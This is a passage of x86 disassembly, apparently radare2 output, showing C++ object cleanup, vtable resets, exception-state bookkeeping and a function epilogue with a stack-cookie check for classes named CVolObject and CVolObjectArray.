mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2f4], 0
mov byte [ebp - 4], 0x34
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xc7
lea ecx, [ebp - 0x770]
call fcn.00402640
mov byte [ebp - 4], 0x33
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x31
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xca
mov edx, dword [ebp - 0x2dc]
test edx, edx
je 0x4141ff
mov eax, dword [ebp - 0x2e8]
push edx
mov eax, dword [eax + 0xc]
cmp eax, method.CVolObjectArray.virtual_12
jne 0x4141f7
mov ecx, 0x61b078
call fcn.0042adb0
jmp 0x4141ff
lea ecx, [ebp - 0x2e8]
call eax
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x2d8], 0
mov byte [ebp - 4], 0x31
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x6d0]
call fcn.004048c0
mov byte [ebp - 4], 4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObjectArray.0
mov byte [ebp - 4], 0xcc
xor esi, esi
mov eax, dword [ebp - 0x2ac]
mov edi, eax
shr edi, 2
test edi, edi
je 0x414282
nop dword [eax]
mov ecx, dword [ebp - 0x2b4]
xor edx, edx
test eax, eax
cmove ecx, edx
mov ecx, dword [ecx + esi*4]
mov eax, dword [ecx]
call dword [eax + 0x30]
inc esi
cmp esi, edi
jge 0x414282
mov eax, dword [ebp - 0x2ac]
jmp 0x414260
mov eax, dword [ebp - 0x2b4]
test eax, eax
je 0x41429c
push eax
mov eax, dword [ebp - 0x2c0]
lea ecx, [ebp - 0x2c0]
call dword [eax + 0xc]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b0], 0
mov byte [ebp - 4], 0xcb
lea eax, [ebp - 0x2c0]
mov dword [ebp - 0x22c], eax
mov byte [ebp - 4], 0xcb
mov dword [ebp - 0x22c], eax
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolMem.0
mov byte [ebp - 4], 0xcf
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2ac], 0
mov dword [ebp - 0x2b0], 0
mov byte [ebp - 4], 0xcb
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 4
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov byte [ebp - 4], 0xd0
lea ecx, [ebp - 0x5e8]
call fcn.0040a300
mov byte [ebp - 4], 0
mov dword [ebp - method.CVolObjectArray.virtual_0], vtable.CVolObject.0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x620]
call fcn.004048c0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0057b447
mov esp, ebp
pop ebp
ret 8